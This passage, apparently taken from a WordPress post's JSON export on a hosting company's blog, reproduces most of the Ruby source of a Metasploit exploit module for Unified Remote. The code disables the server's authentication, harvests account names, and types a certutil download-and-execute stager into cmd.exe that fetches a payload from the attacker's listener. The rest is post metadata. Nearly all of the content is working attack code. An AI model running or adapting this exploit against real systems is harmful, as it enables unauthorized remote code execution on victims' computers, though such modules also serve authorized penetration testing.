pick one&#8230; long live sock<br \/>\nrequest = &#8220;GET \/system\/config HTTP\/1.1\\r\\n&#8221;<br \/>\nrequest &lt;&lt; &#8220;Host: #{datastore[&#8216;RHOST&#8217;]}:#{datastore[&#8216;WEBSERVER&#8217;]}\\r\\n&#8221;<br \/>\nrequest &lt;&lt; &#8220;\\r\\n&#8221;<\/p>\n<p dir=\"ltr\">http_sock.put(request)<br \/>\nbegin<br \/>\nres = http_sock.get_once(-1)<br \/>\nrescue EOFError<br \/>\nreturn nil<br \/>\nend<br \/>\ndisconnect<br \/>\nbody = res.split(&#8220;\\r\\n\\r\\n&#8221;)[1]\nif body.include?(&#8216;&lt;h1&gt;Forbidden (403)&lt;\/h1&gt;&#8217;)<br \/>\nprint_error(&#8216;Web interface is disabled. Unable to attempt bypass, assuming no authentication.&#8217;)<br \/>\nreturn nil<br \/>\nelse<br \/>\n# transient error where the JSON doesn&#8217;t fully receive maybe 1\/15 tries in my testing<br \/>\nbegin<br \/>\nreturn JSON.parse(body) # split between headers and body<br \/>\nrescue JSON::ParserError<br \/>\nreturn nil<br \/>\nend<br \/>\nend<br \/>\nend<\/p>\n<p dir=\"ltr\">def report_cred(opts)<br \/>\nservice_data = {<br \/>\naddress: opts[:ip],<br \/>\nport: opts[:port],<br \/>\nservice_name: opts[:service_name],<br \/>\nprotocol: &#8216;tcp&#8217;,<br \/>\nworkspace_id: myworkspace_id<br \/>\n}<\/p>\n<p dir=\"ltr\">credential_data = {<br \/>\norigin_type: :service,<br \/>\nmodule_fullname: fullname,<br \/>\nusername: opts[:user],<br \/>\nprivate_data: opts[:password],<br \/>\nprivate_type: :password<br \/>\n}.merge(service_data)<\/p>\n<p dir=\"ltr\">login_data = {<br \/>\ncore: create_credential(credential_data),<br \/>\nstatus: Metasploit::Model::Login::Status::SUCCESSFUL,<br \/>\nlast_attempted_at: DateTime.now,<br \/>\nproof: opts[:proof]\n}.merge(service_data)<\/p>\n<p dir=\"ltr\">create_credential_login(login_data)<br \/>\nend<\/p>\n<p dir=\"ltr\">def check<br \/>\nsecurity_mode = get_config<br \/>\nif security_mode.nil?<br \/>\nreturn CheckCode::Unknown(&#8216;Unable to get config from web server, unknown status of Unified Remote Controller&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">CheckCode::Vulnerable(&#8220;Unified Remote is vulnerable on port #{security_mode[&#8216;interfaces&#8217;][&#8216;tcp&#8217;][&#8216;port&#8217;]} with security mode &#8216;#{security_mode[&#8216;security&#8217;][&#8216;mode&#8217;]}&#8217; (can be bypassed, if needed)&#8221;)<br \/>\nend<\/p>\n<p dir=\"ltr\">def exploit<br \/>\nif datastore[&#8216;CLIENTNAME&#8217;].blank?<br \/>\n@client_name = &#8220;android-#{Rex::Text.rand_text_alphanumeric(16)}&#8221;<br \/>\nprint_status(&#8220;Client name set to: #{@client_name}&#8221;)<br \/>\nelse<br \/>\n@client_name = datastore[&#8216;CLIENTNAME&#8217;]\nend<br \/>\n# first grab the config from the HTTP server to determine if we need to disable auth<br \/>\nsecurity_mode = get_config<br \/>\nreset_security_mode = nil<br \/>\nunless security_mode.nil?<br \/>\nif security_mode[&#8216;security&#8217;][&#8216;mode&#8217;] == &#8216;none&#8217;<br \/>\nprint_good(&#8216;No security enabled&#8217;)<br \/>\nelse<br \/>\nprint_status(&#8220;#{security_mode[&#8216;security&#8217;][&#8216;mode&#8217;]} mode enabled, password required, bypassing&#8221;)<br \/>\nreset_security_mode = security_mode[&#8216;security&#8217;][&#8216;mode&#8217;]\nsecurity_mode[&#8216;security&#8217;][&#8216;mode&#8217;] = &#8216;none&#8217;<br \/>\nset_config(security_mode)<br \/>\nend<br \/>\n# now that we have the config, check if theres any users, no passwords (theyre GUIDs)<br \/>\nsecurity_mode[&#8216;security&#8217;][&#8216;users&#8217;].each do |account|<br \/>\nprint_good(&#8220;Found account: #{account[&#8216;username&#8217;]}&#8221;)<br \/>\nreport_cred(<br \/>\nip: rhost,<br \/>\nport: rport,<br \/>\nservice_name: &#8216;wifi mouse&#8217;,<br \/>\nuser: account[&#8216;username&#8217;],<br \/>\npassword: &#8221;,<br \/>\nproof: account<br \/>\n)<br \/>\nend<br \/>\nend<\/p>\n<p dir=\"ltr\"># start actually exploiting the rdp-ish server<br \/>\nconnect<br \/>\nprint_status(&#8216;Sending handshake&#8217;)<br \/>\nsock.put(initialize_packet)<br \/>\nsleep(datastore[&#8216;SLEEP&#8217;])<br \/>\nprint_status(&#8216;Sending empty authentication&#8217;)<br \/>\nsock.put(empty_authentication)<br \/>\nsleep(datastore[&#8216;SLEEP&#8217;])<\/p>\n<p dir=\"ltr\">filename = Rex::Text.rand_text_alphanumeric(rand(8..17)) + &#8216;.exe&#8217;<br \/>\nregister_file_for_cleanup(&#8220;#{path}#{filename}&#8221;)<br \/>\n# this method was in the original edb exploit, this is significantly faster<br \/>\n# and speed is of the essence since remote user input most likely breaks this module<br \/>\nstager = &#8220;certutil.exe -urlcache -f http:\/\/#{datastore[&#8216;lhost&#8217;]}:#{datastore[&#8216;SRVPORT&#8217;]}\/ #{path}#{filename}&#8221;<br \/>\nstart_service(&#8216;Path&#8217; =&gt; &#8216;\/&#8217;) # start webserver<\/p>\n<p dir=\"ltr\">if datastore[&#8216;VISIBLE&#8217;]\nprint_status(&#8216;Opening Start Menu&#8217;)<br \/>\n# original exploit sent it twice, so we follow that<br \/>\nsend_key(win_key)<br \/>\nsend_key(win_key)<br \/>\nsleep(datastore[&#8216;SLEEP&#8217;])<\/p>\n<p dir=\"ltr\">print_status(&#8216;Opening command prompt&#8217;)<br \/>\n&#8216;cmd.exe&#8217;.each_char do |letter|<br \/>\nsend_key(letter)<br \/>\nend<br \/>\nsend_key(ret_key)<br \/>\nsleep(datastore[&#8216;SLEEP&#8217;])<\/p>\n<p dir=\"ltr\">print_status(&#8216;Typing out payload&#8217;)<br \/>\nstager.each_char do |letter|<br \/>\nsend_key(letter)<br \/>\nend<br \/>\nsend_key(ret_key)<br \/>\nsleep(datastore[&#8216;SLEEP&#8217;] * 2) # give time for it to save<\/p>\n<p dir=\"ltr\">print_status(&#8216;Attempting to open payload&#8217;)<br \/>\n&#8220;#{path}#{filename} &amp;&amp; exit&#8221;.each_char do |letter|<br \/>\nsend_key(letter)<br \/>\nend<br \/>\nsend_key(ret_key)<br \/>\nelse<br \/>\nstager &lt;&lt; &#8221; &amp;&amp; #{path}#{filename} &amp;&amp; exit&#8221;<br \/>\nprint_status(&#8216;Loading Unified.Command&#8217;)<br \/>\ncontents = load_unified_command<br \/>\nsock.put(&#8220;#{string_header_one(contents.length)}#{contents}&#8221;)<br \/>\nsleep(datastore[&#8216;SLEEP&#8217;])<\/p>\n<p dir=\"ltr\">print_status(&#8216;Updating Unified.Command&#8217;)<br \/>\ncontents = create_script<br \/>\nsock.put(&#8220;#{string_header_one(contents.length)}#{contents}&#8221;)<br \/>\nsleep(datastore[&#8216;SLEEP&#8217;])<\/p>\n<p dir=\"ltr\">contents = initialize_keyboard<br \/>\nsock.put(&#8220;#{string_header_one(contents.length)}#{contents}&#8221;)<br \/>\nsleep(datastore[&#8216;SLEEP&#8217;])<\/p>\n<p dir=\"ltr\">print_status(&#8216;Sending payload&#8217;)<br \/>\ncontents = add_content(stager)<br \/>\nsock.put(&#8220;#{string_header_one(contents.length)}#{contents}&#8221;)<br \/>\nsleep(datastore[&#8216;SLEEP&#8217;])<\/p>\n<p dir=\"ltr\">print_status(&#8216;Executing script&#8217;)<br \/>\ncontents = execute_script<br \/>\nsock.put(&#8220;#{string_header_one(contents.length)}#{contents}&#8221;)<br \/>\nsleep(datastore[&#8216;SLEEP&#8217;])<\/p>\n<p dir=\"ltr\">contents = create_script<br \/>\nsock.put(&#8220;#{string_header_one(contents.length)}#{contents}&#8221;)<br \/>\nsleep(datastore[&#8216;SLEEP&#8217;])<br \/>\nend<\/p>\n<p dir=\"ltr\">handler<br \/>\ndisconnect<br \/>\nsleep(datastore[&#8216;SLEEP&#8217;] * 2) # give time for it to do its thing before we revert<\/p>\n<p dir=\"ltr\"># lastly some cleanup<br \/>\nunless reset_security_mode.nil?<br \/>\nprint_status(&#8216;Reverting security mode&#8217;)<br \/>\nsecurity_mode[&#8216;security&#8217;][&#8216;mode&#8217;] = reset_security_mode<br \/>\nset_config(security_mode)<br \/>\nend<br \/>\nend<br \/>\nend<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule &lt; Msf::Exploit::Remote Rank = NormalRanking include Exploit::Remote::Tcp # attempted cmdstger, however there was so much sleep involved for the screen to clear the buffer # that it was going to take hours. The buffer would also overrun itself and the exploit &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-30994","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/30994","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=30994"}],"version-history":[{"count":2,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/30994\/revisions"}],"predecessor-version":[{"id":31335,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/30994\/revisions\/31335"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=30994"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=30994"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=30994"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}